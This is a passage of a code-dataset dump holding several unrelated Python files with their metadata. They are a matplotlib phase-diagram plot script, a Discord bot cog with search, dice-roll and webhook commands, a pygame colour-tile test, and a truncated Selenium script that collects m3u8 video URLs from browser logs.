DTransitionLine1Y, \"k-\", linewidth=linewidth)\nax.plot(DTransitionLine2X**ex, DTransitionLine2Y, \"k-\", linewidth=linewidth)\nax.plot(DTransitionLine3X**ex, DTransitionLine3Y, \"k-\", linewidth=linewidth)\n\nax.plot(D_zU4Red2**ex, pU4Red2, \"k-\", linewidth=linewidth)\nax.plot(D_zU5[1::2]**ex, pU5[1::2], \"k--\", linewidth=linewidth)\nax.plot(D_zU6**ex, pU6, \"k--\", linewidth=linewidth)\nax.plot(D_zU7[::2]**ex, pU7[::2], \"k--\", linewidth=linewidth)\n\nax.plot(D_zLS1**ex, pLS1, \"k--\", linewidth=linewidth)\nax.plot(np.append(D_zLS2[::-1], D_zU1[0])**ex, np.append(pLS2[::-1], pU1[0]), \"k--\", linewidth=linewidth)\nax.plot(D_zLS3[10:]**ex, pLS3[10:], \"k--\", linewidth=linewidth)\nax.plot(D_zLS4**ex, pLS4, \"k--\", linewidth=linewidth)\nax.plot(D_zLS5**ex, pLS5, \"k--\", linewidth=linewidth)\nax.plot(D_zLS6**ex, pLS6, \"k--\", linewidth=linewidth)\nax.plot(D_zLS7**ex, pLS7, \"k--\", linewidth=linewidth)\nax.plot(D_zLS8**ex, pLS8, \"k--\", linewidth=linewidth)\n\nax.set_ylim(0, 0.02)\nax.set_xlim(2., 2.225)\nax.set_ylabel(r\"pressure $p$\")\n#ax.yaxis.set_label_coords(-0.17, 0.6)\nax.set_xlabel(\"diameter ratio $D / d$\")\nax.xaxis.set_label_coords(0.3, -0.08)\n\nax.plot(np.array([2.04, 2.152, 2.225]), np.array([0, 0, 0]), \"rD\", markersize=5, clip_on=False)\n#ax.plot(2.04, 0.0054, \"ro\", fillstyle=\"none\", markersize=13., mew=3.)\n\nfrom matplotlib import patches\ne1 = patches.Ellipse((2.04, 0.0054), 0.06, 0.003, angle=0, linewidth=2, fill=False, color=\"r\")\n\nax.add_patch(e1)\n\nfsize = 12\nax.text(2.043, 0.0022, r\"$(3, \\bm{2}, 1)$\" + \"\\n\" + \"line slip\", fontsize=fsize)\nax.text(2.055, 0.01, \"$(3, 3, 0)$ \\n uniform\", fontsize=fsize)\nax.annotate(\"$(3, 2, 1)$ \\n uniform\", xy=(2.007, 0.0065), xytext=(1.93, 0.005), arrowprops=dict(facecolor='k', shrink=0.0001, width=0.75, headwidth=4.), fontsize=fsize, ha=\"center\", va=\"center\")\nax.text(2.15, 0.01, \"$(4, 2, 2)$ \\n uniform\", fontsize=fsize)\nax.annotate(\"$(4, 3, 1)$ \\n uniform\", xy=(2.215, 0.015), xytext=(2.23, 0.01), arrowprops=dict(facecolor='r', color=\"k\", shrink=0.0001, width=0.75, headwidth=4.), fontsize=fsize)\nax.annotate(r\"$(3, \\bm{3}, 0)$\" + \"\\n\" + \"line slip\", xy=(2.17, 0.0015), xytext=(2.23, 0.0045), arrowprops=dict(facecolor='black', shrink=0.0001, width=0.75, headwidth=4.), fontsize=fsize)\nax.annotate(r\"$(3, \\bm{2}, 1)$\" + \"\\n\" + \"line slip\", xy=(2.205, 0.0007), xytext=(2.23, 0.0015), arrowprops=dict(facecolor='black', shrink=0.0001, width=0.75, headwidth=4.), fontsize=fsize)\nax.annotate(r\"$(2, \\bm{2}, 0)$\" + \"\\n\" + \"line slip\", xy=(2.007, 0.0004), xytext=(1.93, 0.001), arrowprops=dict(facecolor='black', shrink=0.0001, width=0.75, headwidth=4.), fontsize=fsize, ha=\"center\")\n#ax.annotate(r\"see note in caption$^*$\", xy=(2.15, 0.), xytext=(2.15, -0.0025), arrowprops=dict(facecolor='red', color=\"red\", shrink=0.0001, width=0.75, headwidth=4.), fontsize=12, va=\"center\", zorder=0)\n\n\nfig.savefig(\"../../Plots/{}/phasediagramContour.pdf\".format(directory))\n", "sub_path": "ConstPressure/Scripts/PlotScripts/PlotPhaseDiagramContour.py", "file_name": "PlotPhaseDiagramContour.py", "file_ext": "py", "file_size_in_byte": 11572, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.loadtxt", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.patches.Ellipse", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 251, "usage_type": "name"}]} +{"seq_id": "226015665", "text": "import discord\nfrom discord.ext import commands\nimport random\nfrom google import google as google_s\nfrom pymongo import MongoClient\nimport requests\ntry:\n from local_settings import *\nexcept ImportError:\n pass\nimport os\nm_client = MongoClient(os.environ.get('MONGO'))\n\ndb = m_client['my_db']\nhooks_collection = db['hooks']\n\n\nclass Games(commands.Cog):\n def __init__(self, client):\n self.client = client\n\n @commands.command(aliases=['гугл', 'пошук'])\n async def google(self, ctx, *temp_arg):\n arg = ''\n for word in temp_arg:\n arg += word\n arg += ' '\n print(ctx.author, 'шукає', arg)\n await ctx.send('Починаємо пошук... Почекайте')\n num_page = 1\n search_results = google_s.search(arg, num_page)\n list_of_names = []\n list_of_links = []\n list_of_descriptions = []\n for result in search_results:\n list_of_names.append(result.name)\n list_of_links.append(result.link)\n list_of_descriptions.append(result.description)\n embed = discord.Embed(title='Пошук', color=0xd2ce4e)\n for number, value in enumerate(list_of_names):\n value = value.split('›')\n temp_value = value[0].split('https://')\n try:\n embed.add_field(name=temp_value[0],\n value=f\"***Опис:***\\n {list_of_descriptions[number]}\\n\\n***Посилання:***\\n{list_of_links[number]}\")\n except Exception as e:\n print('Error', e)\n await ctx.send(embed=embed)\n\n @commands.command(aliases=['привіт'])\n async def _hello(self, ctx):\n await ctx.send(f'Привіт {ctx.message.author.mention}')\n\n @commands.command(aliases=['roll_fight'])\n async def _fig(self, ctx, arg=0):\n roles = ctx.message.author.roles\n roles_names = []\n d20 = random.randint(1, 20)\n for role in roles:\n roles_names.append(role.name)\n full_buff = 0\n for name in roles_names:\n if name.count(' бой') == 1:\n buff = name.split(' бой')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n elif name.count(' стат'):\n buff = name.split(' стат')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n\n if full_buff:\n if full_buff > 0:\n fin_string = f\"{d20}(dice)+{full_buff}(fight buff)={d20 + full_buff}\"\n else:\n fin_string = f\"{d20}(dice){full_buff}(fight buff)={d20 + full_buff}\"\n else:\n fin_string = f'{d20}(dice)+0(fight buff)={d20}'\n await ctx.send(fin_string)\n\n @commands.command(aliases=['roll_master'])\n async def _mas(self, ctx, arg=0):\n roles = ctx.message.author.roles\n roles_names = []\n d20 = random.randint(1, 20)\n for role in roles:\n roles_names.append(role.name)\n full_buff = 0\n for name in roles_names:\n if name.count(' мастер') == 1:\n buff = name.split(' мастер')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n elif name.count(' стат'):\n buff = name.split(' стат')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n\n if full_buff:\n if full_buff > 0:\n fin_string = f\"{d20}(dice)+{full_buff}(master buff)={d20 + full_buff}\"\n else:\n fin_string = f\"{d20}(dice){full_buff}(master buff)={d20 + full_buff}\"\n else:\n fin_string = f'{d20}(dice)+0(master buff)={d20}'\n await ctx.send(fin_string)\n\n @commands.command(aliases=['roll_tracking'])\n async def _tra(self, ctx, arg=0):\n roles = ctx.message.author.roles\n roles_names = []\n d20 = random.randint(1, 20)\n for role in roles:\n roles_names.append(role.name)\n full_buff = 0\n for name in roles_names:\n if name.count(' слежка') == 1:\n buff = name.split(' слежка')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n elif name.count(' стат'):\n buff = name.split(' стат')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n\n if full_buff:\n if full_buff > 0:\n fin_string = f\"{d20}(dice)+{full_buff}(tracking buff)={d20 + full_buff}\"\n else:\n fin_string = f\"{d20}(dice){full_buff}(tracking buff)={d20 + full_buff}\"\n else:\n fin_string = f'{d20}(dice)+0(tracking buff)={d20}'\n await ctx.send(fin_string)\n\n @commands.command(aliases=['roll_erudit'])\n async def _eru(self, ctx, arg=0):\n roles = ctx.message.author.roles\n roles_names = []\n d20 = random.randint(1, 20)\n for role in roles:\n roles_names.append(role.name)\n full_buff = 0\n for name in roles_names:\n if name.count(' эруд') == 1:\n buff = name.split(' эруд')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n elif name.count(' стат'):\n buff = name.split(' стат')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n if full_buff:\n if full_buff > 0:\n fin_string = f\"{d20}(dice)+{full_buff}(int. buff)={d20 + full_buff}\"\n else:\n fin_string = f\"{d20}(dice){full_buff}(int. buff)={d20 + full_buff}\"\n else:\n fin_string = f'{d20}(dice)+0(int. buff)={d20}'\n await ctx.send(fin_string)\n\n @commands.command(aliases=['roll_oratory'])\n async def _ora(self, ctx, arg=0):\n roles = ctx.message.author.roles\n roles_names = []\n d20 = random.randint(1, 20)\n for role in roles:\n roles_names.append(role.name)\n full_buff = 0\n for name in roles_names:\n if name.count(' речь') == 1:\n buff = name.split(' речь')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n elif name.count(' стат'):\n buff = name.split(' стат')\n if name.count('+') == 1:\n full_buff += int(buff[0][buff[0].find('+') + 1:])\n elif name.count('-') == 1:\n full_buff -= int(buff[0][buff[0].find('-') + 1:])\n if full_buff:\n if full_buff > 0:\n fin_string = f\"{d20}(dice)+{full_buff}(orator buff)={d20 + full_buff}\"\n else:\n fin_string = f\"{d20}(dice){full_buff}(orator buff)={d20 + full_buff}\"\n else:\n fin_string = f'{d20}(dice)+0(orator buff)={d20}'\n await ctx.send(fin_string)\n\n @commands.command(aliases=['кубіки', 'кості'])\n async def _кубіки(self, ctx, arg):\n list_of_dice = []\n if arg.count('д') == 1:\n arg_new = arg.split('д')\n print(arg_new)\n for j in range(int(arg_new[0])):\n list_of_dice.append(random.randint(1, int(arg_new[1])))\n output_str = ''\n output_str += str(list_of_dice)\n output_str += '='\n output_str += str(sum(list_of_dice))\n await ctx.send(output_str)\n\n @commands.command()\n async def roll(self, ctx, dice):\n list_of_dice = []\n if dice.count('d') == 1:\n arg_new = dice.split('d')\n print(arg_new)\n embed = discord.Embed(color=0xd2ce4e)\n for j in range(int(arg_new[0])):\n list_of_dice.append(random.randint(1, int(arg_new[1])))\n fin_result = 0\n for dices in list_of_dice:\n fin_result += dices\n embed.add_field(name=f'{dice} roll by {ctx.author.name}', value=f'sum = {fin_result}', inline=False)\n for index, arg in enumerate(list_of_dice):\n embed.add_field(name=f'Roll {index+1}',\n value=f'{arg}')\n await ctx.send(embed=embed)\n\n @commands.command()\n async def ping(self, ctx):\n await ctx.send('Pong! {0}мс'.format(round(self.client.latency * 1000)))\n\n @commands.command()\n async def пінг(self, ctx):\n await ctx.send('Понг! {0}мс'.format(round(self.client.latency * 1000)))\n\n @commands.command(aliases=['8ball', '8кулька'])\n async def _8ball(self, ctx):\n list_of_answers = [\n 'Безперечно',\n 'На жаль, так',\n 'Так',\n 'Можеш бути впевнений в цьому',\n 'Безсумнівно',\n 'Мені здається що так',\n 'Швидше за все що так',\n 'Хороші перспективи',\n 'Знаки кажуть - так',\n 'Відповідь смутна, спробуй ще',\n 'Спитай пізніше',\n 'Краще тобі поки не казати',\n 'Не можу зараз знати',\n 'Сконцентруйся і спитай знову',\n 'Навіть не думай',\n 'Знаки кажуть - ні',\n 'Ні',\n 'Мої інформатори кажуть що ні',\n 'Перспективи не дуже',\n 'Зовсім сумнівно',\n 'На жаль, ні'\n ]\n rand_answer = random.choice(list_of_answers)\n print(rand_answer)\n await ctx.send(rand_answer)\n\n @commands.command(aliases=['хто'])\n async def who(self, ctx):\n ch1 = ctx.channel.guild\n list_of_guilds = self.client.guilds\n index = 0\n print(ch1)\n for i in list_of_guilds:\n print(i.name)\n if i.name == str(ch1):\n print('boof')\n guild_list = list_of_guilds[index]\n list_of_members = guild_list.members\n list_of_names = []\n for j in list_of_members:\n list_of_names.append(j.name)\n break\n else:\n index += 1\n rand_num = random.randint(0, len(list_of_names) - 1)\n await ctx.send(list_of_names[rand_num])\n\n @commands.has_permissions(ban_members=True)\n @commands.command(pass_context=True, aliases=['скажи'])\n async def say(self, ctx, name, *, what_to_say):\n name = name.lower()\n url = hooks_collection.find_one({'name': name})['url']\n requests.post(url, data={'content': str(what_to_say)})\n await ctx.channel.purge(limit=1)\n\n @commands.has_permissions(ban_members=True)\n @commands.command(pass_context=True, aliases=['додати_хук'])\n async def add_hook(self, ctx, name, url):\n name = name.lower()\n hooks_collection.insert_one({'name': name, 'url': url})\n await ctx.send('Додано')\n\n @commands.command(pass_context=True, aliases=['список_хуків'])\n async def list_hooks(self, ctx):\n doc = hooks_collection.find()\n tmp_str = ''\n for j in doc:\n tmp_str += str(j['name']) + '; '\n await ctx.send(tmp_str)\n\n\ndef setup(client):\n client.add_cog(Games(client))\n", "sub_path": "Games.py", "file_name": "Games.py", "file_ext": "py", "file_size_in_byte": 12808, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pymongo.MongoClient", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog", "line_number": 18, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 18, "usage_type": "name"}, {"api_name": "google.google.search", "line_number": 31, "usage_type": "call"}, {"api_name": "google.google", "line_number": 31, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 39, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 22, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 22, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 50, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 50, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 58, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 54, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 54, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 89, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 85, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 85, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 120, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 116, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 116, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 151, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 147, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 147, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 181, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 177, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 177, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 214, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 207, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 207, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 227, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 229, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 221, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 221, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 239, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 239, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 243, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 243, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 272, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 247, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 247, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 294, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 276, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 276, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 302, "usage_type": "call"}, {"api_name": "discord.ext.commands.has_permissions", "line_number": 297, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 297, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 298, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 298, "usage_type": "name"}, {"api_name": "discord.ext.commands.has_permissions", "line_number": 305, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 305, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 306, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 306, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 312, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 312, "usage_type": "name"}]} +{"seq_id": "61102021", "text": "import pygame as pg\r\nfrom random import randrange\r\n\r\ndef rand_color():\r\n return randrange(10, 246), randrange(10, 246), randrange(10, 246)\r\n\r\ndisp_width = 400\r\ndisp_height = 400\r\ntile_count = 100\r\ntiles_per = 1 / tile_count\r\ncounter = 0\r\ncolors = [[0, 0, 0],\r\n [1, 0, 0], [0, 1, 0], [0, 0, 1],\r\n [0, 0, .5], [.5, 0, .5], [0, .5, 0], [.5, .5, 0], [.5, .5, 0], [.5, .5, 0], [.5, .5, 0], ]\r\n\r\n\r\npg.init()\r\npg.display.set_caption('graphics_engine')\r\ngame_display = pg.display.set_mode((disp_width, disp_height))\r\n\r\nwhile True:\r\n pg.display.update()\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n pg.quit()\r\n\r\n for i in range(tile_count ** 2):\r\n color = colors[counter]\r\n\r\n x = disp_width * tiles_per * (counter % tile_count)\r\n y = disp_height * tiles_per * int(counter / tile_count)\r\n pg.draw.rect(game_display, color, (x, y, x + disp_width * tiles_per, y + disp_height * tiles_per))\r\n\r\n counter += 1\r\n", "sub_path": "old files from before I started using GitHub/5-22-18/color_generator_test.py", "file_name": "color_generator_test.py", "file_ext": "py", "file_size_in_byte": 995, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "random.randrange", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 32, "usage_type": "attribute"}]} +{"seq_id": "352461774", "text": "# -*-coding:utf-8-*-\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nimport json\nimport re\nimport time\nimport os\nimport sys\n\n# 无界面模式\ndef ChromeDriverNOBrowser():\n __browser_url = \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Local\\\\Google\\\\Chrome SxS\\\\Application\\\\chrome.exe\"\n chrome_options = Options()\n chrome_options.binary_location = __browser_url\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n prefs = {\n \"profile.managed_default_content_settings.images\": 1,\n \"profile.content_settings.plugin_whitelist.adobe-flash-player\": 1,\n \"profile.content_settings.exceptions.plugins.*,*.per_resource.adobe-flash-player\": 1,\n }\n chrome_options.add_experimental_option('prefs', prefs)\n caps = DesiredCapabilities.CHROME\n caps[\"goog:loggingPrefs\"] = {\"performance\": \"ALL\"}\n driverChrome = webdriver.Chrome(executable_path=\"D:\\\\chromedriver\\\\chromedriver\", desired_capabilities=caps,\n chrome_options=chrome_options)\n return driverChrome\n\n\n# # 有界面\n# def ChromeDriverBrowser():\n# __browser_url = \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Local\\\\Google\\\\Chrome SxS\\\\Application\\\\chrome.exe\"\n# chrome_options = Options()\n# chrome_options.binary_location = __browser_url\n# prefs = {\n# \"profile.managed_default_content_settings.images\": 1,\n# \"profile.content_settings.plugin_whitelist.adobe-flash-player\": 1,\n# \"profile.content_settings.exceptions.plugins.*,*.per_resource.adobe-flash-player\": 1,\n# }\n# chrome_options.add_experimental_option('prefs', prefs)\n# caps = DesiredCapabilities.CHROME\n# caps[\"goog:loggingPrefs\"] = {\"performance\": \"ALL\"}\n# driverChrome = webdriver.Chrome(executable_path=\"D:\\\\chromedriver\\\\chromedriver\",desired_capabilities=caps, chrome_options=chrome_options)\n# return driverChrome\n\n\n# req_url = \"https://www.ammmi.com/v_play/bXZfNTgyNzctbm1fMQ==.html\"\n# req_url = \"https://www.google.com\"\n\ndef main (req_url,name):\n req_url = ''\n # downbym3u8.test('111111111111')\n browser = ChromeDriverNOBrowser()\n print('开始get')\n browser.get(req_url)\n m3u8urllist = []\n for entry in browser.get_log('performance'):\n if 'm3u8' in str(entry):\n m3u8url = 'https' + str(re.findall(\".*https(.*)m3u8.*\", str(entry))[0]) + 'm3u8'\n # afterjson = json.loads(entry['message'])\n print(m3u8url)\n m3u8urllist.append(m3u8url)\n\n path = r'E:\\zydownload'\n m3u8urllist2 = list(set(m3u8urllist))\n for m3u8url in m3u8urllist2:\n 